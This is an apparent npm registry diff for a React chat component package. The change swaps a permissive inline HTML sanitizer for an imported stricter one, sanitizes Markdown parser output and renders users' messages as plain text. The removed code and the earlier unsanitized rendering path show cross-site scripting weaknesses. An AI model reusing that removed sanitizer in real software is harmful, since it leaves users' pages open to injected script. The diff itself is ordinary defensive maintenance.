@admin-layout/tailwind-chat-pro 12.2.5-alpha.22 → 12.2.5-alpha.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -3,6 +3,12 @@
3
3
  All notable changes to this project will be documented in this file.
4
4
  See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.
5
5
 
6
+ ## [12.2.5-alpha.23](https://github.com/CDEBase/admin-layout/compare/v12.2.5-alpha.22...v12.2.5-alpha.23) (2026-10-20)
7
+
8
+ ### Bug Fixes
9
+
10
+ - **tailwind-chat-pro:** chat HTML is formatting only - no frames, forms, inputs or styles ([3789b2f](https://github.com/CDEBase/admin-layout/commit/3789b2f5cc7543958bf147ef429629424c5eaab0))
11
+
6
12
  ## [12.2.5-alpha.22](https://github.com/CDEBase/admin-layout/compare/v12.2.5-alpha.21...v12.2.5-alpha.22) (2026-10-20)
7
13
 
8
14
  **Note:** Version bump only for package @admin-layout/tailwind-chat-pro
@@ -1 +1 @@
1
- {"version":3,"file":"ModernMessageGroup.d.ts","sourceRoot":"","sources":["../../../src/components/messages-container-ui/ModernMessageGroup.tsx"],"names":[],"mappings":"AACA,OAAO,EAAsB,SAAS,EAAE,KAAK,EAAE,MAAM,QAAQ,CAAC;AAG9D,OAAO,KAAuC,MAAM,OAAO,CAAC;AAgC5D,wBAAgB,wBAAwB,CAAC,EACrC,QAAQ,EACR,eAAe,GAClB,EAAE;IACC,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAC;IAC1B,eAAe,CAAC,EAAE,MAAM,CAAC;CAC5B,2CAUA;AAGD,eAAO,MAAM,iBAAiB,i+eA6Y7B,CAAC;AA4BF,UAAU,uBAAuB;IAC7B,cAAc,CAAC,EAAE,OAAO,CAAC;IACzB,UAAU,CAAC,EAAE,OAAO,CAAC;IACrB,aAAa,CAAC,EAAE,OAAO,CAAC;IACxB,QAAQ,EAAE,KAAK,EAAE,CAAC;IAClB,WAAW,EAAE,SAAS,CAAC;IACvB,MAAM,EAAE,CAAC,OAAO,CAAC,EAAE,GAAG,KAAK,IAAI,CAAC;IAChC,cAAc,EAAE,CAAC,GAAG,EAAE,KAAK,KAAK,IAAI,CAAC;IACrC,aAAa,CAAC,EAAE,OAAO,CAAC;IACxB,aAAa,CAAC,EAAE,OAAO,CAAC;IACxB,aAAa,CAAC,EAAE,GAAG,EAAE,CAAC;IACtB,YAAY,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACtC,UAAU,CAAC,EAAE,CAAC,YAAY,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,CAAC,CAAC;IACrD,iBAAiB,CAAC,EAAE,CAAC,UAAU,EAAE,MAAM,KAAK,IAAI,CAAC;IACjD,iGAAiG;IACjG,2BAA2B,CAAC,EAAE,OAAO,CAAC;CACzC;AAiBD,eAAO,MAAM,0BAA0B,GAAI,UAAU,KAAK,EAAE,EAAE,6BAAwB,KAAG,KAAK,EAAE,EAgC/F,CAAC;AAGF,eAAO,MAAM,iBAAiB,GAAI,OAAO,MAAM,KAAG,MAAM,GAAG,UAAU,GAAG,MAAM,GAAG,MAyDhF,CAAC;AAuWF,eAAO,MAAM,aAAa,EAAE,KAAK,CAAC,EAAE,CAAC;IACjC,OAAO,EAAE,MAAM,CAAC;IAChB,gBAAgB,CAAC,EAAE,OAAO,CAAC;IAC3B,OAAO,CAAC,EAAE,SAAS,GAAG,MAAM,CAAC;IAC7B,6FAA6F;IAC7F,QAAQ,CAAC,EAAE,OAAO,CAAC;CACtB,CA8DA,CAAC;AAGF,eAAO,MAAM,uBAAuB,EAAE,KAAK,CAAC,EAAE,CAAC;IAC3C,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,CAAC,EAAE,SAAS,GAAG,MAAM,CAAC;IAC7B,6FAA6F;IAC7F,QAAQ,CAAC,EAAE,OAAO,CAAC;IACnB;;;OAGG;IACH,2BAA2B,CAAC,EAAE,OAAO,CAAC;CACzC,CAqTA,CAAC;AA+CF,yEAAyE;AACzE,eAAO,MAAM,mBAAmB,GAAI,eAAe,OAAO,EAAE,eAAe,OAAO,2DACQ,CAAC;AAwe3F,eAAO,MAAM,2BAA2B,EAAE,KAAK,CAAC,EAAE,CAAC,uBAAuB,CA0DzE,CAAC"}
1
+ {"version":3,"file":"ModernMessageGroup.d.ts","sourceRoot":"","sources":["../../../src/components/messages-container-ui/ModernMessageGroup.tsx"],"names":[],"mappings":"AACA,OAAO,EAAsB,SAAS,EAAE,KAAK,EAAE,MAAM,QAAQ,CAAC;AAG9D,OAAO,KAAuC,MAAM,OAAO,CAAC;AAiC5D,wBAAgB,wBAAwB,CAAC,EACrC,QAAQ,EACR,eAAe,GAClB,EAAE;IACC,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAC;IAC1B,eAAe,CAAC,EAAE,MAAM,CAAC;CAC5B,2CAUA;AAGD,eAAO,MAAM,iBAAiB,i+eA6Y7B,CAAC;AA4BF,UAAU,uBAAuB;IAC7B,cAAc,CAAC,EAAE,OAAO,CAAC;IACzB,UAAU,CAAC,EAAE,OAAO,CAAC;IACrB,aAAa,CAAC,EAAE,OAAO,CAAC;IACxB,QAAQ,EAAE,KAAK,EAAE,CAAC;IAClB,WAAW,EAAE,SAAS,CAAC;IACvB,MAAM,EAAE,CAAC,OAAO,CAAC,EAAE,GAAG,KAAK,IAAI,CAAC;IAChC,cAAc,EAAE,CAAC,GAAG,EAAE,KAAK,KAAK,IAAI,CAAC;IACrC,aAAa,CAAC,EAAE,OAAO,CAAC;IACxB,aAAa,CAAC,EAAE,OAAO,CAAC;IACxB,aAAa,CAAC,EAAE,GAAG,EAAE,CAAC;IACtB,YAAY,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACtC,UAAU,CAAC,EAAE,CAAC,YAAY,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,CAAC,CAAC;IACrD,iBAAiB,CAAC,EAAE,CAAC,UAAU,EAAE,MAAM,KAAK,IAAI,CAAC;IACjD,iGAAiG;IACjG,2BAA2B,CAAC,EAAE,OAAO,CAAC;CACzC;AAiBD,eAAO,MAAM,0BAA0B,GAAI,UAAU,KAAK,EAAE,EAAE,6BAAwB,KAAG,KAAK,EAAE,EAgC/F,CAAC;AAGF,eAAO,MAAM,iBAAiB,GAAI,OAAO,MAAM,KAAG,MAAM,GAAG,UAAU,GAAG,MAAM,GAAG,MAyDhF,CAAC;AAsTF,eAAO,MAAM,aAAa,EAAE,KAAK,CAAC,EAAE,CAAC;IACjC,OAAO,EAAE,MAAM,CAAC;IAChB,gBAAgB,CAAC,EAAE,OAAO,CAAC;IAC3B,OAAO,CAAC,EAAE,SAAS,GAAG,MAAM,CAAC;IAC7B,6FAA6F;IAC7F,QAAQ,CAAC,EAAE,OAAO,CAAC;CACtB,CA8DA,CAAC;AAGF,eAAO,MAAM,uBAAuB,EAAE,KAAK,CAAC,EAAE,CAAC;IAC3C,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,CAAC,EAAE,SAAS,GAAG,MAAM,CAAC;IAC7B,6FAA6F;IAC7F,QAAQ,CAAC,EAAE,OAAO,CAAC;IACnB;;;OAGG;IACH,2BAA2B,CAAC,EAAE,OAAO,CAAC;CACzC,CAsTA,CAAC;AA+CF,yEAAyE;AACzE,eAAO,MAAM,mBAAmB,GAAI,eAAe,OAAO,EAAE,eAAe,OAAO,2DACQ,CAAC;AAue3F,eAAO,MAAM,2BAA2B,EAAE,KAAK,CAAC,EAAE,CAAC,uBAAuB,CA0DzE,CAAC"}
@@ -1,4 +1,4 @@
1
- import {jsx,jsxs,Fragment}from'react/jsx-runtime';import {Slot}from'@common-stack/components-pro';import {AiAgentMessageRole}from'common';import {format,differenceInMinutes}from'date-fns';import {marked}from'marked';import React,{useMemo,useEffect,useState}from'react';import ReactMarkdown from'react-markdown';import remarkBreaks from'remark-breaks';import remarkGfm from'remark-gfm';import {MessengerSlotFillNameEnum}from'./messenger-slot-fill-name-enum.js';import {FilesList}from'./FilesList.js';import {ErrorFixCard}from'./ErrorFixCard.js';import {useBubbleEntrance}from'./useBubbleEntrance.js';import {wrapTables,TABLE_SCROLL_CLASS,TABLE_STYLES}from'./markdownTables.js';// Configure marked for better markdown rendering
1
+ import {jsx,jsxs,Fragment}from'react/jsx-runtime';import {Slot}from'@common-stack/components-pro';import {AiAgentMessageRole}from'common';import {format,differenceInMinutes}from'date-fns';import {marked}from'marked';import React,{useMemo,useEffect,useState}from'react';import ReactMarkdown from'react-markdown';import remarkBreaks from'remark-breaks';import remarkGfm from'remark-gfm';import {MessengerSlotFillNameEnum}from'./messenger-slot-fill-name-enum.js';import {FilesList}from'./FilesList.js';import {ErrorFixCard}from'./ErrorFixCard.js';import {useBubbleEntrance}from'./useBubbleEntrance.js';import {wrapTables,TABLE_SCROLL_CLASS,TABLE_STYLES}from'./markdownTables.js';import {sanitizeChatHtml}from'./sanitizeChatHtml.js';// Configure marked for better markdown rendering
2
2
  marked.setOptions({
3
3
  breaks: true,
4
4
  // Convert line breaks to <br>
@@ -565,41 +565,6 @@ const getMessageSlotName = type => {
565
565
  if (t === 'RESUME') return MessengerSlotFillNameEnum.RESUME_NAME;
566
566
  return null;
567
567
  };
568
- // Enhanced sanitizer that allows most HTML tags while maintaining security
569
- const sanitizeHtml = html => {
570
- try {
571
- if (typeof window === 'undefined' || typeof window.DOMParser === 'undefined') {
572
- return html.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, '').replace(/<style[\s\S]*?>[\s\S]*?<\/style>/gi, '').replace(/on\w+\s*=\s*"[^"]*"/gi, '').replace(/on\w+\s*=\s*'[^']*'/gi, '').replace(/on\w+\s*=\s*[^\s>]+/gi, '').replace(/javascript:/gi, '').replace(/data:text\/html/gi, '');
573
- }
574
- const parser = new window.DOMParser();
575
- const doc = parser.parseFromString(html, 'text/html');
576
- // Only remove the most dangerous tags
577
- const dangerousTags = ['script', 'style'];
578
- dangerousTags.forEach(tag => {
579
- doc.querySelectorAll(tag).forEach(el => el.remove());
580
- });
581
- const walker = doc.createTreeWalker(doc.body, NodeFilter.SHOW_ELEMENT);
582
- let node = walker.nextNode();
583
- while (node) {
584
- Array.from(node.attributes).forEach(attr => {
585
- const name = attr.name.toLowerCase();
586
- const value = (attr.value || '').toLowerCase();
587
- // Remove event handlers and javascript protocols
588
- if (name.startsWith('on') || value.startsWith('javascript:')) {
589
- node?.removeAttribute(attr.name);
590
- }
591
- // Allow most attributes but validate URLs for src/href
592
- if ((name === 'src' || name === 'href') && !/^https?:|^\/.*/.test(attr.value)) {
593
- node?.removeAttribute(attr.name);
594
- }
595
- });
596
- node = walker.nextNode();
597
- }
598
- return doc.body.innerHTML;
599
- } catch (e) {
600
- return html.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, '');
601
- }
602
- };
603
568
  // Function to prettify HTML content
604
569
  const prettifyHtmlContent = htmlContent => {
605
570
  // Add semantic classes for better styling
@@ -636,7 +601,7 @@ const BuilderLikeRenderer = ({
636
601
  const type = block?.['@type'] || block?.type;
637
602
  if (!type) return null;
638
603
  if (/text/i.test(type)) {
639
- const html = sanitizeHtml(block?.text || block?.data?.text || '');
604
+ const html = sanitizeChatHtml(block?.text || block?.data?.text || '');
640
605
  return jsx("div", {
641
606
  className: "max-w-none text-gray-800",
642
607
  dangerouslySetInnerHTML: {
@@ -944,8 +909,9 @@ const FormattedMessageContent = ({
944
909
  });
945
910
  // Only return if parsing actually produced HTML (not just the same text)
946
911
  if (parsed && parsed.trim() !== trimmed && parsed.includes('<')) {
912
+ // marked passes raw HTML in the text straight through, so its output is sanitized like any HTML.
947
913
  return {
948
- htmlContent: wrapTables(parsed),
914
+ htmlContent: sanitizeChatHtml(wrapTables(parsed)),
949
915
  markdownSource: trimmed
950
916
  };
951
917
  }
@@ -1418,16 +1384,16 @@ const ModernMessageBubble = ({
1418
1384
  children: jsx("div", {
1419
1385
  className: getAssistantResponseClasses('min-w-0'),
1420
1386
  dangerouslySetInnerHTML: {
1421
- __html: prettifyHtmlContent(sanitizeHtml(message.message))
1387
+ __html: prettifyHtmlContent(sanitizeChatHtml(message.message))
1422
1388
  }
1423
1389
  })
1424
1390
  });
1425
1391
  }
1392
+ // A person's own message reads as they typed it: markup in it is text,
1393
+ // never part of the page.
1426
1394
  return jsx("div", {
1427
- className: "text-foreground html-content",
1428
- dangerouslySetInnerHTML: {
1429
- __html: prettifyHtmlContent(sanitizeHtml(message.message))
1430
- }
1395
+ className: "text-foreground whitespace-pre-wrap break-words",
1396
+ children: message.message
1431
1397
  });
1432
1398
  } else {
1433
1399
  return jsx(FormattedMessageContent, {
@@ -1536,7 +1502,7 @@ const ModernMessageBubble = ({
1536
1502
  children: jsx("div", {
1537
1503
  className: getAssistantResponseClasses('min-w-0 relative max-w-full w-full'),
1538
1504
  dangerouslySetInnerHTML: {
1539
- __html: prettifyHtmlContent(sanitizeHtml(message.message))
1505
+ __html: prettifyHtmlContent(sanitizeChatHtml(message.message))
1540
1506
  }
1541
1507
  })
1542
1508
  });
@@ -1 +1 @@
1
- {"version":3,"file":"ModernMessageGroup.js","sources":["../../../src/components/messages-container-ui/ModernMessageGroup.tsx"],"sourcesContent":[null],"names":["_jsx","_jsxs"],"mappings":"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